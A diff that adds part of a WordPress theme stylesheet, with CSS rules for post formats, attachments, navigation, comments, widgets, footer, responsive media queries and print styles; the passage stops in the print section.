+.format-quote {
+	background-color: #210d10;
+}
+
+.format-quote .entry-content,
+.format-quote .entry-meta {
+	color: #f7f5e7;
+}
+
+.format-quote .entry-content blockquote {
+	font-size: 28px;
+	margin: 0;
+}
+
+.format-quote .entry-content a,
+.format-quote .entry-meta a,
+.format-quote .linked {
+	color: #e63f2a;
+}
+
+.format-quote .entry-content cite a {
+	border-bottom: 1px dotted #fff;
+	color: #fff;
+}
+
+.format-quote .entry-content cite a:hover {
+	text-decoration: none;
+}
+
+.format-quote blockquote small,
+.format-quote blockquote cite {
+	display: block;
+	font-size: 16px;
+}
+
+.format-quote blockquote {
+	font-style: italic;
+	font-weight: 300;
+	padding-left: 75px;
+	position: relative;
+}
+
+.format-quote blockquote:before {
+	content: '\201C';
+	font-size: 140px;
+	font-weight: 400;
+	line-height: .8;
+	padding-right: 25px;
+	position: absolute;
+	left: -15px;
+	top: -3px;
+}
+
+.format-quote .entry-meta .author {
+	display: none;
+}
+
+/* Status */
+.format-status {
+	background-color: #722d19;
+	padding: 0;
+}
+
+.format-status .entry-content,
+.format-status .entry-meta {
+	padding-left: 35px;
+	position: relative;
+}
+
+.format-status .entry-content a {
+	color: #eadaa6;
+}
+
+.format-status .entry-meta a {
+	color: #f7f5e7;
+}
+
+.sidebar .format-status .entry-content,
+.sidebar .format-status .entry-meta {
+	padding-left: 95px;
+}
+
+.format-status .entry-content:before,
+.format-status .entry-meta:before {
+	background: url(images/dotted-line.png) repeat-y left bottom;
+	background-size: 4px 4px;
+	content: "";
+	display: block;
+	height: 100%;
+	position: absolute;
+	left: 10px;
+	top: 0;
+	width: 1px;
+}
+
+.sidebar .format-status .entry-content:before,
+.sidebar .format-status .entry-meta:before {
+	left: 70px;
+}
+
+.format-status .categories-links,
+.format-status .tags-links {
+	display: none;
+}
+
+/* Ensures the dots in the dot background are in lockstep. */
+.format-status .entry-meta:before {
+	background-position: left top;
+}
+
+.format-status .entry-content {
+	color: #f7f5e7;
+	font-size: 24px;
+	font-style: italic;
+	font-weight: 300;
+	padding-bottom: 30px;
+	padding-top: 40px;
+	position: relative;
+}
+
+.format-status .entry-content p:first-child:before {
+	background-color: rgba(0, 0, 0, 0.65);
+	content: "";
+	height: 3px;
+	margin-top: 13px;
+	position: absolute;
+	left: 4px;
+	width: 13px;
+}
+
+.sidebar .format-status .entry-content > p:first-child:before {
+	left: 64px;
+}
+
+.format-status .entry-content p:last-child {
+	margin-bottom: 0;
+}
+
+.format-status .entry-meta {
+	margin-top: 0;
+	padding-bottom: 40px;
+}
+
+.format-status .entry-meta .date a:before {
+	content: "\f105";
+}
+
+/* Video */
+.format-video {
+	background-color: #db572f;
+}
+
+.format-video .entry-content a,
+.format-video .entry-meta a,
+.format-video .entry-content a:hover,
+.format-video .entry-meta a:hover {
+	color: #fbfaf3;
+}
+
+.format-video .entry-title {
+	font-size: 50px;
+	font-weight: 400;
+}
+
+.format-video .entry-meta {
+	color: #220e10;
+}
+
+
+/**
+ * 5.6 Attachments
+ * ----------------------------------------------------------------------------
+ */
+
+.attachment .hentry {
+	background-color: #e8e5ce;
+	margin: 0;
+	padding: 0;
+}
+
+.attachment .entry-header {
+	margin-bottom: 0;
+	max-width: 1040px;
+	padding: 30px 0;
+}
+
+.attachment .entry-title {
+	display: inline-block;
+	float: left;
+	font: 300 italic 30px "Source Sans Pro", Helvetica, sans-serif;
+	margin: 0;
+}
+
+.attachment .entry-title:before {
+	content: "\f416";
+	font-size: 32px;
+	margin-right: 10px;
+}
+
+.attachment .entry-meta {
+	clear: none;
+	color: inherit;
+	float: right;
+	max-width: 604px;
+	padding: 9px 0 0;
+	text-align: right;
+}
+
+.hentry.attachment:not(.image-attachment) .entry-meta {
+	max-width: 104px;
+}
+
+.attachment footer.entry-meta {
+	display: none;
+}
+
+.attachment-meta:before {
+	content: "\f307";
+}
+
+.full-size-link a:before {
+	content: "\f402";
+}
+
+.full-size-link:before {
+	content: none;
+}
+
+.attachment .entry-meta a,
+.attachment .entry-meta .edit-link:before,
+.attachment .full-size-link:before {
+	color: #ca3c08;
+}
+
+.attachment .entry-content {
+	background-color: #fff;
+	max-width: 100%;
+	padding: 40px 0;
+}
+
+.image-navigation {
+	margin: 0 auto;
+	max-width: 1040px;
+	position: relative;
+}
+
+.image-navigation a:hover {
+	text-decoration: none;
+}
+
+.image-navigation .nav-previous,
+.image-navigation .nav-next {
+	position: absolute;
+	top: 50px;
+}
+
+.image-navigation .nav-previous {
+	left: 0;
+}
+
+.image-navigation .nav-next {
+	right: 0;
+}
+
+.image-navigation .meta-nav {
+	font-size: 32px;
+	font-weight: 300;
+	vertical-align: -4px;
+}
+
+.attachment .entry-attachment,
+.attachment .type-attachment p {
+	margin: 0 auto;
+	max-width: 724px;
+	text-align: center;
+}
+
+.attachment .entry-attachment .attachment {
+	display: inline-block;
+}
+
+.attachment .entry-caption {
+	text-align: left;
+}
+
+.attachment .entry-description {
+	margin: 20px auto 0;
+	max-width: 604px;
+}
+
+.attachment .entry-caption p:last-child,
+.attachment .entry-description p:last-child {
+	margin: 0;
+}
+
+.attachment .site-main .sidebar-container {
+	display: none;
+}
+
+.attachment .entry-content .mejs-audio {
+	max-width: 400px;
+	margin: 0 auto;
+}
+
+.attachment .entry-content .wp-video {
+	margin: 0 auto;
+}
+
+.attachment .entry-content .mejs-container {
+	margin-bottom: 24px;
+}
+
+/**
+ * 5.7 Post/Paging Navigation
+ * ----------------------------------------------------------------------------
+ */
+
+.navigation .nav-previous {
+	float: left;
+}
+
+.navigation .nav-next {
+	float: right;
+}
+
+.navigation a {
+	color: #bc360a;
+}
+
+.navigation a:hover {
+	color: #ea9629;
+	text-decoration: none;
+}
+
+.paging-navigation {
+	background-color: #e8e5ce;
+	padding: 40px 0;
+}
+
+.paging-navigation .nav-links {
+	margin: 0 auto;
+	max-width: 604px;
+	width: 100%;
+}
+
+.sidebar .paging-navigation .nav-links {
+	max-width: 1040px;
+	padding: 0 376px 0 60px;
+}
+
+.paging-navigation .nav-next {
+	padding: 13px 0;
+}
+
+.paging-navigation a {
+	font-size: 22px;
+	font-style: italic;
+	font-weight: 300;
+}
+
+.paging-navigation .meta-nav {
+	background-color: #e63f2a;
+	border-radius: 50%;
+	color: #fff;
+	display: inline-block;
+	font-size: 26px;
+	padding: 3px 0 8px;
+	text-align: center;
+	width: 50px;
+}
+
+.paging-navigation .nav-previous .meta-nav {
+	margin-right: 10px;
+	padding: 17px 0 23px;
+	width: 80px;
+}
+
+.paging-navigation .nav-next .meta-nav {
+	margin-left: 10px;
+}
+
+.paging-navigation a:hover .meta-nav {
+	background-color: #ea9629;
+	text-decoration: none;
+}
+
+.post-navigation {
+	background-color: #fff;
+	color: #ca3c08;
+	font-size: 20px;
+	font-style: italic;
+	font-weight: 300;
+	padding: 20px 0;
+}
+
+.post-navigation .nav-links {
+	margin: 0 auto;
+	max-width: 1040px;
+}
+
+.sidebar .post-navigation .nav-links {
+	padding: 0 376px 0 60px;
+}
+
+.post-navigation a[rel="next"] {
+	float: right;
+	text-align: right;
+}
+
+
+/**
+ * 5.8 Author Bio
+ * ----------------------------------------------------------------------------
+ */
+
+.author-info {
+	margin: 0 auto;
+	max-width: 604px;
+	padding: 30px 0 10px;
+	text-align: left; /* gallery & video post formats */
+	width: 100%;
+}
+
+.author.sidebar .author-info {
+	max-width: 1040px;
+	padding: 30px 376px 10px 60px;
+}
+
+.single .author-info {
+	padding: 50px 0 0;
+}
+
+.author-avatar .avatar {
+	float: left;
+	margin: 0 30px 30px 0;
+}
+
+.single-format-status .author-description {
+	color: #f7f5e7;
+}
+
+.author-description .author-title {
+	clear: none;
+	font: 300 italic 20px "Source Sans Pro", Helvetica, sans-serif;
+	margin: 0 0 8px;
+}
+
+.author-link {
+	color: #ca3c08;
+	margin-left: 2px;
+}
+
+.author.archive .author-link {
+	display: none;
+}
+
+
+/**
+ * 5.9 Archives
+ * ----------------------------------------------------------------------------
+ */
+
+.archive-header {
+	background-color: #e8e5ce;
+}
+
+.archive-title,
+.archive-meta {
+	font: 300 italic 30px "Source Sans Pro", Helvetica, sans-serif;
+	margin: 0 auto;
+	max-width: 1040px;
+	padding: 30px 0;
+	width: 100%;
+}
+
+.archive-meta {
+	font-size: 16px;
+	font-style: normal;
+	font-weight: normal;
+	margin-top: -15px;
+	padding: 0 0 11px;
+}
+
+.sidebar .archive-meta {
+	padding-right: 316px;
+}
+
+
+/**
+ * 5.10 Search Results/No posts
+ * ----------------------------------------------------------------------------
+ */
+
+.page-header {
+	background-color: #e8e5ce;
+}
+
+.page-title {
+	font: 300 italic 30px "Source Sans Pro", Helvetica, sans-serif;
+	margin: 0 auto;
+	max-width: 1040px;
+	padding: 30px 0;
+	width: 100%;
+}
+
+.page-content {
+	margin: 0 auto;
+	max-width: 604px;
+	padding: 40px 0;
+	width: 100%;
+}
+
+.sidebar .page-content {
+	margin: 0 auto;
+	max-width: 1040px;
+	padding: 40px 376px 40px 60px;
+}
+
+
+/**
+ * 5.11 404
+ * ----------------------------------------------------------------------------
+ */
+
+.error404 .page-header {
+	background-color: #fff;
+}
+
+.error404 .page-title {
+	line-height: 0.6;
+	margin: 0;
+	padding: 300px;
+	position: relative;
+	text-align: center;
+	width: auto;
+}
+
+.error404 .page-title:before {
+	color: #e8e5ce;
+	content: "\f423";
+	font-size: 964px;
+	line-height: 0.6;
+	overflow: hidden;
+	position: absolute;
+	left: 7px;
+	top: 28px;
+}
+
+.error404 .page-wrapper {
+	background-color: #e8e5ce;
+}
+
+.error404 .page-header,
+.error404 .page-content {
+	margin: 0 auto;
+	max-width: 1040px;
+	padding-bottom: 40px;
+	width: 100%;
+}
+
+
+/**
+ * 5.12 Comments
+ * ----------------------------------------------------------------------------
+ */
+
+.comments-title,
+.comment-list,
+.comment-reply-title,
+.must-log-in,
+.comment-respond .comment-form,
+.comment-respond iframe {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+	max-width: 604px;
+	width: 100%;
+}
+
+.sidebar .comments-title,
+.sidebar .comment-list,
+.sidebar .must-log-in,
+.sidebar .comment-reply-title,
+.sidebar .comment-navigation,
+.sidebar .comment-respond .comment-form {
+	max-width: 1040px;
+	padding-left: 60px;
+	padding-right: 376px;
+}
+
+.comments-title {
+	font: 300 italic 28px "Source Sans Pro", Helvetica, sans-serif;
+}
+
+.comment-list,
+.comment-list .children {
+	list-style-type: none;
+	padding: 0;
+}
+
+.comment-list .children {
+	margin-left: 20px;
+}
+
+.comment-list > li:after,
+.comment-list .children > li:before {
+	background: url(images/dotted-line.png) repeat left top;
+	background-size: 4px 4px;
+	content: "";
+	display: block;
+	height: 1px;
+	width: 100%;
+}
+
+.comment-list > li:last-child:after {
+	display: none;
+}
+
+.comment-body {
+	padding: 24px 0;
+	position: relative;
+}
+
+.comment-author {
+	float: left;
+	max-width: 74px;
+}
+
+.comment-author .avatar {
+	display: block;
+	margin-bottom: 10px;
+}
+
+.comment-author .fn {
+	word-wrap: break-word;
+}
+
+.comment-author .fn,
+.comment-author .url,
+.comment-reply-link,
+.comment-reply-login {
+	color: #bc360a;
+	font-size: 14px;
+	font-style: normal;
+	font-weight: normal;
+}
+
+.says {
+	display: none;
+}
+
+.no-avatars .comment-author {
+	margin: 0 0 5px;
+	max-width: 100%;
+	position: relative;
+}
+
+.no-avatars .comment-metadata,
+.no-avatars .comment-content,
+.no-avatars .comment-list .reply {
+	width: 100%;
+}
+
+.bypostauthor > .comment-body .fn:before {
+	content: "\f408";
+	vertical-align: text-top;
+}
+
+.comment-list .edit-link {
+	margin-left: 20px;
+}
+
+.comment-metadata,
+.comment-awaiting-moderation,
+.comment-content,
+.comment-list .reply {
+	float: right;
+	width: 79%;
+	width: -webkit-calc(100% - 124px);
+	width:         calc(100% - 124px);
+	word-wrap: break-word;
+}
+
+.comment-meta,
+.comment-meta a {
+	color: #a2a2a2;
+	font-size: 13px;
+}
+
+.comment-meta a:hover {
+	color: #ea9629;
+}
+
+.comment-metadata {
+	margin-bottom: 20px;
+}
+
+.ping-meta {
+	color: #a2a2a2;
+	font-size: 13px;
+	line-height: 2;
+}
+
+.comment-awaiting-moderation {
+	color: #a2a2a2;
+}
+
+.comment-awaiting-moderation:before {
+	content: "\f414";
+	margin-right: 5px;
+	position: relative;
+	top: -2px;
+}
+
+.comment-reply-link:before,
+.comment-reply-login:before {
+	content: "\f412";
+	margin-right: 3px;
+}
+
+/* Comment form */
+.comment-respond {
+	background-color: #f7f5e7;
+	padding: 30px 0;
+}
+
+.comment .comment-respond {
+	margin-bottom: 20px;
+	padding: 20px;
+}
+
+.comment-reply-title {
+	font: 300 italic 28px "Source Sans Pro", Helvetica, sans-serif;
+}
+
+.comment-reply-title small a {
+	color: #131310;
+	display: inline-block;
+	float: right;
+	height: 16px;
+	overflow: hidden;
+	width: 16px;
+}
+
+.comment-reply-title small a:hover {
+	color: #ed331c;
+	text-decoration: none;
+}
+
+.comment-reply-title small a:before {
+	content: "\f406";
+	vertical-align: top;
+}
+
+.sidebar .comment-list .comment-reply-title,
+.sidebar .comment-list .comment-respond .comment-form {
+	padding: 0;
+}
+
+.comment-form .comment-notes {
+	margin-bottom: 15px;
+}
+
+.comment-form .comment-form-author,
+.comment-form .comment-form-email,
+.comment-form .comment-form-url {
+	margin-bottom: 8px;
+}
+
+.comment-form [for="author"],
+.comment-form [for="email"],
+.comment-form [for="url"],
+.comment-form [for="comment"] {
+	float: left;
+	padding: 5px 0;
+	width: 120px;
+}
+
+.comment-form .required {
+	color: #ed331c;
+}
+
+.comment-form input[type="text"],
+.comment-form input[type="email"],
+.comment-form input[type="url"] {
+	max-width: 270px;
+	width: 60%;
+}
+
+.comment-form textarea {
+	width: 100%;
+}
+
+.comment-form #wp-comment-cookies-consent {
+	margin: 0 10px 0 0;
+}
+
+.form-allowed-tags,
+.form-allowed-tags code {
+	color: #686758;
+	font-size: 12px;
+}
+
+.form-allowed-tags code {
+	font-size: 10px;
+	margin-left: 3px;
+}
+
+.comment-list .pingback,
+.comment-list .trackback {
+	padding-top: 24px;
+}
+
+.comment-navigation {
+	font-size: 20px;
+	font-style: italic;
+	font-weight: 300;
+	margin: 0 auto;
+	max-width: 604px;
+	padding: 20px 0 30px;
+	width: 100%;
+}
+
+.no-comments {
+	background-color: #f7f5e7;
+	font-size: 20px;
+	font-style: italic;
+	font-weight: 300;
+	margin: 0;
+	padding: 40px 0;
+	text-align: center;
+}
+
+.sidebar .no-comments {
+	padding-left: 60px;
+	padding-right: 376px;
+}
+
+
+/**
+ * 5.13 Multisite
+ * ----------------------------------------------------------------------------
+ */
+
+.site-main .mu_register {
+	margin: 0 auto;
+	max-width: 604px;
+	width: 100%;
+}
+
+.mu_alert {
+	margin-top: 25px;
+}
+
+.site-main .mu_register input[type="submit"],
+.site-main .mu_register #blog_title,
+.site-main .mu_register #user_email,
+.site-main .mu_register #blogname,
+.site-main .mu_register #user_name {
+	font-size: inherit;
+	width: 270px;
+}
+
+.site-main .mu_register input[type="submit"] {
+	width: auto;
+}
+
+
+/**
+ * 6.0 Sidebar
+ * ----------------------------------------------------------------------------
+ */
+
+.site-main .widget-area {
+	float: right;
+	width: 300px;
+}
+
+
+/**
+ * 6.1 Widgets
+ * ----------------------------------------------------------------------------
+ */
+
+.widget {
+	background-color: rgba(247, 245, 231, 0.7);
+	font-size: 14px;
+	-webkit-hyphens: auto;
+	-moz-hyphens:    auto;
+	-ms-hyphens:     auto;
+	hyphens:         auto;
+	margin: 0 0 24px;
+	padding: 20px;
+	word-wrap: break-word;
+}
+
+.widget .widget-title {
+	font: 300 italic 20px "Source Sans Pro", Helvetica, sans-serif;
+	margin: 0 0 10px;
+}
+
+.widget ul,
+.widget ol {
+	list-style-type: none;
+	margin: 0;
+	padding: 0;
+}
+
+.widget li {
+	padding: 5px 0;
+}
+
+.widget .children li:last-child {
+	padding-bottom: 0;
+}
+
+.widget li > ul,
+.widget li > ol {
+	margin-left: 20px;
+}
+
+.widget a {
+	color: #bc360a;
+}
+
+.widget a:hover {
+	color: #ea9629;
+}
+
+/* Search widget */
+.search-form .search-submit {
+	display: none;
+}
+
+/* RSS Widget */
+.widget_rss .rss-date {
+	display: block;
+}
+
+.widget_rss .rss-date,
+.widget_rss li > cite {
+	color: #a2a2a2;
+}
+
+/* Calendar Widget */
+.widget_calendar table,
+.widget_calendar td {
+	border: 0;
+	border-collapse: separate;
+	border-spacing: 1px;
+}
+
+.widget_calendar caption {
+	font-size: 14px;
+	margin: 0;
+}
+
+.widget_calendar th,
+.widget_calendar td {
+	padding: 0;
+	text-align: center;
+}
+
+.widget_calendar a {
+	display: block;
+}
+
+.widget_calendar a:hover {
+	background-color: rgba(0, 0, 0, 0.15);
+}
+
+.widget_calendar tbody td {
+	background-color: rgba(255, 255, 255, 0.5);
+}
+
+.site-footer .widget_calendar tbody td {
+	background-color: rgba(255, 255, 255, 0.05);
+}
+
+.widget_calendar tbody .pad, .site-footer .widget_calendar tbody .pad {
+	background-color: transparent;
+}
+
+/* Text widget */
+.widget_text ul,
+.widget_text ol {
+	padding-left: 20px;
+	margin-bottom: 16px;
+}
+
+.widget_text li:last-child {
+	padding-bottom: 0;
+}
+
+.widget_text li > ul,
+.widget_text li > ol {
+	margin-bottom: 0;
+}
+
+.widget_text ul {
+	list-style: square;
+}
+
+.widget_text ol {
+	list-style: decimal;
+}
+
+/* Tag Cloud widget */
+.tagcloud ul {
+	list-style-type: none;
+}
+
+.tagcloud ul li {
+	display: inline-block;
+	padding: 0;
+}
+
+/* Gallery Widget */
+.widget .gallery-columns-1 .gallery-item {
+	max-width: 100%;
+}
+
+.widget .gallery-columns-2 .gallery-item {
+	max-width: 49%;
+	max-width: -webkit-calc(50% - 4px);
+	max-width:         calc(50% - 4px);
+}
+
+.widget .gallery-columns-3 .gallery-item {
+	max-width: 22%;
+	max-width: -webkit-calc(33% - 4px);
+	max-width:         calc(33% - 4px);
+}
+
+/**
+ * 7.0 Footer
+ * ----------------------------------------------------------------------------
+ */
+
+.site-footer {
+	background-color: #e8e5ce;
+	color: #686758;
+	font-size: 14px;
+	text-align: center;
+}
+
+.site-footer .widget-area,
+.sidebar .site-footer {
+	text-align: left;
+}
+
+.site-footer a {
+	color: #686758;
+}
+
+.site-footer .sidebar-container {
+	background-color: #220e10;
+	padding: 20px 0;
+}
+
+.site-footer .widget-area {
+	margin: 0 auto;
+	max-width: 1040px;
+	width: 100%;
+}
+
+.sidebar .site-footer .widget-area {
+	max-width: 724px;
+	position: relative;
+	left: -158px;
+}
+
+.site-footer .widget {
+	background: transparent;
+	color: #fff;
+	float: left;
+	margin-right: 20px;
+	width: 245px;
+}
+
+.sidebar .site-footer .widget {
+	width: 228px;
+}
+
+.sidebar .site-footer .widget:nth-of-type(4),
+.sidebar .site-footer .widget:nth-of-type(3) {
+	margin-right: 0;
+}
+
+.site-footer .widget a {
+	color: #e6402a;
+}
+
+.site-footer .widget-title,
+.site-footer .widget-title a,
+.site-footer .wp-caption-text {
+	color: #fff;
+}
+
+.site-info {
+	margin: 0 auto;
+	max-width: 1040px;
+	padding: 30px 0;
+	width: 100%;
+}
+
+#wpstats {
+	display: block;
+	margin: -10px auto 0;
+}
+
+.site-footer span[role=separator] {
+	padding: 0 0.25em 0 0.5em;
+}
+
+.site-footer span[role=separator]::before {
+	content: '\002f';
+}
+
+/**
+ * 8.0 Media Queries
+ * ----------------------------------------------------------------------------
+ */
+
+/* Does the same thing as <meta name="viewport" content="width=device-width">,
+ * but in the future W3C standard way. -ms- prefix is required for IE10+ to
+ * render responsive styling in Windows 8 "snapped" views; IE10+ does not honor
+ * the meta tag. See https://core.trac.wordpress.org/ticket/25888.
+ */
+@-ms-viewport {
+	width: device-width;
+}
+@viewport {
+	width: device-width;
+}
+
+@media (max-width: 1599px) {
+	.site {
+		border: 0;
+	}
+}
+
+@media (max-width: 1069px) {
+	.sidebar img.alignleft,
+	.sidebar .wp-caption.alignleft {
+		margin-left: 0;
+	}
+
+	.sidebar img.alignright,
+	.sidebar .wp-caption.alignright {
+		margin-right: 0;
+	}
+
+	.error404 .page-header {
+		margin-left: auto;
+		max-width: 604px;
+		width: 100%;
+	}
+
+	.archive-header,
+	.search .page-header,
+	.archive .page-header,
+	.blog .page-header,
+	.error404 .page-content,
+	.search .page-content,
+	.archive .page-content,
+	.attachment .entry-header,
+	.attachment .entry-content,
+	.post-navigation .nav-links,
+	.sidebar .site-info,
+	.site-footer .widget-area {
+		padding-left: 20px;
+		padding-right: 20px;
+	}
+
+	.error404 .page-title {
+		font-size: 24px;
+		padding: 180px;
+	}
+
+	.error404 .page-title:before {
+		font-size: 554px;
+	}
+
+	.attachment .image-navigation {
+		max-width: 724px;
+	}
+
+	.image-navigation .nav-previous,
+	.image-navigation .nav-next {
+		position: static;
+	}
+
+	.site-main .widget-area {
+		margin-right: 60px;
+	}
+}
+
+@media (max-width: 999px) {
+	.sidebar .entry-header,
+	.sidebar .entry-content,
+	.sidebar .entry-summary,
+	.sidebar .entry-meta,
+	.sidebar .comment-list,
+	.sidebar .comment-reply-title,
+	.sidebar .comment-navigation,
+	.sidebar .comment-respond .comment-form,
+	.sidebar .featured-gallery,
+	.sidebar .post-navigation .nav-links,
+	.author.sidebar .author-info {
+		max-width: 604px;
+		padding-left: 0;
+		padding-right: 0;
+	}
+
+	.sidebar .site-info,
+	.search.sidebar .page-content,
+	.blog.sidebar .page-content,
+	.attachment .entry-header,
+	.sidebar .comments-title {
+		max-width: 604px;
+	}
+
+	.sidebar .archive-meta,
+	.attachment .entry-header,
+	.search.sidebar .page-content,
+	.blog.sidebar .page-content,
+	.sidebar .site-info,
+	.sidebar .comments-title,
+	.sidebar .no-comments {
+		padding-left: 0;
+		padding-right: 0;
+	}
+
+	.attachment .entry-meta {
+		float: left;
+		text-align: left;
+		width: 100%;
+	}
+
+	.attachment .entry-content {
+		max-width: 100%;
+		padding: 40px 0;
+	}
+
+	.format-status .entry-content {
+		padding-top: 40px;
+	}
+
+	.format-status .entry-meta {
+		padding-bottom: 40px;
+	}
+
+	.sidebar .format-status .entry-content,
+	.sidebar .format-status .entry-meta {
+		padding-left: 35px;
+	}
+
+	.sidebar .format-status .entry-content:before,
+	.sidebar .format-status .entry-meta:before {
+		left: 10px;
+	}
+
+	.sidebar .format-status .entry-content p:first-child:before {
+		left: 4px;
+	}
+
+	.sidebar .paging-navigation .nav-links {
+		padding: 0 60px;
+	}
+
+	.site-main .sidebar-container {
+		height: auto;
+		margin: 0 auto;
+		max-width: 604px;
+		position: relative;
+		top: 20px;
+	}
+
+	.site-main .widget-area {
+		float: none;
+		margin: 0;
+		width: 100%;
+	}
+
+	.sidebar .site-footer .widget-area {
+		max-width: 100%;
+		left: 0;
+	}
+}
+
+/* Collapse oversized image and pulled images after iPad breakpoint. */
+@media (max-width: 767px) {
+	.site-header .home-link {
+		min-height: 0;
+	}
+	.site-title {
+		font-size: 36px;
+		padding: 8px 0 10px;
+	}
+	.entry-content img.alignleft,
+	.entry-content .wp-caption.alignleft {
+		margin-left: 0;
+	}
+
+	.entry-content img.alignright,
+	.entry-content .wp-caption.alignright {
+		margin-right: 0;
+	}
+
+	.attachment .image-navigation,
+	.attachment .entry-attachment .attachment {
+		max-width: 604px;
+		padding: 0;
+		width: 100%;
+	}
+
+	.gallery-caption {
+		display: none;
+	}
+}
+
+@media (max-width: 643px) {
+	.site-title {
+		font-size: 30px;
+	}
+
+	#content .entry-header,
+	#content .entry-content,
+	#content .entry-summary,
+	#content footer.entry-meta,
+	#content .featured-gallery,
+	.search.sidebar .page-content,
+	.blog.sidebar .page-content,
+	.sidebar .post-navigation .nav-links,
+	.paging-navigation .nav-links,
+	#content .author-info,
+	.comments-area .comments-title,
+	.comments-area .comment-list,
+	.comments-area .comment-navigation,
+	.comment-respond,
+	.sidebar .site-info,
+	.sidebar .paging-navigation .nav-links {
+		padding-left: 20px;
+		padding-right: 20px;
+	}
+
+	#content .format-status .entry-content,
+	#content .format-status .entry-met {
+		padding-left: 35px;
+	}
+
+	/* Small menu */
+	.menu-toggle {
+		cursor: pointer;
+		display: inline-block;
+		font: bold 16px/1.3 "Source Sans Pro", Helvetica, sans-serif;
+		margin: 0;
+	}
+
+	.menu-toggle,
+	.menu-toggle:hover,
+	.menu-toggle:focus,
+	.menu-toggle:active {
+		background: none;
+		border: none;
+		color: #141412;
+		padding: 12px 0 12px 20px;
+	}
+
+	.menu-toggle:focus {
+		outline: thin dotted;
+	}
+
+	.menu-toggle:after {
+		content: "\f502";
+		font-size: 12px;
+		padding-left: 8px;
+		vertical-align: -4px;
+	}
+
+	.toggled-on .menu-toggle:after {
+		content: "\f500";
+		vertical-align: 2px;
+	}
+
+	.toggled-on .nav-menu,
+	.toggled-on .nav-menu > ul {
+		display: block;
+		margin-left: 0;
+		padding: 0;
+		width: 100%;
+	}
+
+	.toggled-on li,
+	.toggled-on .children {
+		display: block;
+	}
+
+	.toggled-on .nav-menu li > ul {
+		background-color: transparent;
+		display: block;
+		float: none;
+		margin-left: 20px;
+		position: relative;
+		left: auto;
+		top: auto;
+	}
+
+	.toggled-on .nav-menu li > ul a {
+		color: #141412;
+		width: auto;
+	}
+
+	.toggled-on .nav-menu li:hover > a,
+	.toggled-on .nav-menu .children a {
+		background-color: transparent;
+		color: #141412;
+	}
+
+	.toggled-on .nav-menu > li a:hover,
+	.toggled-on .nav-menu > ul a:hover {
+		background-color: #db572f;
+		color: #fff;
+	}
+
+	.toggled-on .nav-menu > li a:focus,
+	.toggled-on .nav-menu > ul a:focus {
+		background-color: #220e10;
+		color: #fff;
+	}
+
+	ul.nav-menu,
+	div.nav-menu > ul {
+		display: none;
+	}
+
+	#content .featured-gallery {
+		padding-left: 24px;
+	}
+
+	.gallery-columns-1 .gallery-item {
+		margin-right: 0;
+		width: 100%;
+	}
+
+	.entry-title,
+	.format-chat .entry-title,
+	.format-image .entry-title,
+	.format-gallery .entry-title,
+	.format-video .entry-title {
+		font-size: 22px;
+		font-weight: bold;
+	}
+
+	.format-quote blockquote,
+	.format-status .entry-content {
+		font-size: 18px;
+	}
+
+	.format-quote blockquote small,
+	.format-quote blockquote cite {
+		font-size: 13px;
+	}
+
+	.error404 .page-title {
+		padding: 40px 0 0;
+	}
+
+	.error404 .page-title:before {
+		content: normal;
+	}
+
+	.comment-author {
+		margin-right: 30px;
+	}
+
+	.comment-author .avatar {
+		height: auto;
+		max-width: 100%;
+	}
+
+	.comment-metadata,
+	.comment-content,
+	.comment-list .reply {
+		width: 70%;
+		width: -webkit-calc(100% - 104px);
+		width:         calc(100% - 104px);
+	}
+
+	.comment-form input[type="text"],
+	.comment-form input[type="email"],
+	.comment-form input[type="url"] {
+		width: -webkit-calc(100% - 120px);
+		width:         calc(100% - 120px);
+	}
+
+	.comment-form textarea {
+		height: 80px; /* Smaller field for mobile. */
+	}
+
+	/* Audio */
+	.format-audio .entry-content:before {
+		display: none;
+	}
+
+	.format-audio .audio-content {
+		background-image: none;
+		float: none;
+		padding-left: 0;
+		width: auto;
+	}
+}
+
+/* Mobile devices */
+@media (max-width: 359px) {
+	.site-title {
+		font-weight: normal;
+	}
+	.site-description {
+	    clip: rect(1px, 1px, 1px, 1px);
+	    position: absolute;
+	}
+	.gallery {
+		margin-left: 0;
+	}
+
+	.gallery .gallery-item,
+	.gallery-columns-2.gallery-size-thumbnail .gallery-item {
+		max-width: none;
+		width: 49%;
+		width: -webkit-calc(50% - 4px);
+		width:         calc(50% - 4px);
+	}
+
+	.gallery-columns-1.gallery-size-medium,
+	.gallery-columns-1.gallery-size-thumbnail,
+	.gallery-columns-2.gallery-size-thumbnail,
+	.gallery-columns-3.gallery-size-thumbnail {
+		display: block;
+	}
+
+	.gallery-columns-1 .gallery-item,
+	.gallery-columns-1.gallery-size-medium .gallery-item,
+	.gallery-columns-1.gallery-size-thumbnail .gallery-item {
+		text-align: center;
+		width: 98%;
+		width: -webkit-calc(100% - 4px);
+		width:         calc(100% - 4px);
+	}
+
+	.gallery-columns-3 .gallery-item:nth-of-type(3n),
+	.gallery-columns-5 .gallery-item:nth-of-type(5n),
+	.gallery-columns-7 .gallery-item:nth-of-type(7n),
+	.gallery-columns-9 .gallery-item:nth-of-type(9n) {
+		margin-right: 4px;
+	}
+
+	.gallery br {
+		display: none;
+	}
+
+	.gallery .gallery-item:nth-of-type(even) {
+		margin-right: 0;
+	}
+
+	/* Comments */
+	.comment-author {
+		margin: 0 0 5px;
+		max-width: 100%;
+	}
+
+	.comment-author .avatar {
+		display: inline;
+		margin: 0 5px 0 0;
+		max-width: 20px;
+	}
+
+	.comment-metadata,
+	.comment-content,
+	.comment-list .reply {
+		width: 100%;
+	}
+}
+
+
+/**
+ * 9.0 Print
+ * ----------------------------------------------------------------------------
+ */
+
+/* Retina-specific styles. */
+@media print,
+	(-o-min-device-pixel-ratio: 5/4),
+	(-webkit-min-device-pixel-ratio: 1.25),
+	(min-resolution: 120dpi) {
+
+	.site-header .search-field {
+		background-image: url(images/search-icon-2x.png);
+	}
+
+	.format-audio .audio-content,
+	.format-status .entry-content:before,
+	.format-status .entry-meta:before,
+	.comment-list > li:after,
+	.comment-list .children > li:before {
+		background-image: url(images/dotted-line-2x.png);
+	}
+}
+
+@media print {
+	body {
+		background: none !important;
+		color: #000;
+		font-size: 10pt;
+	}
+
+	footer a[rel="bookmark"]:link:after,
+	footer a[rel="bookmark"]:visited:after {
+		content: " [" attr(href) "] "; /* Show URLs */
+	}
+
+	.site {
+		max-width: 98%;
+	}
+
+	.site-header {
+		background-image: none !important;
+	}
+
+	.site-header .home-link {
+		max-width: none;
+		min-height: 0;
+	}
+
+	.site-title {
+		color: #000;
+		font-size: 21pt;
+	}
+
+	.site-description {
+		font-size: 10pt;
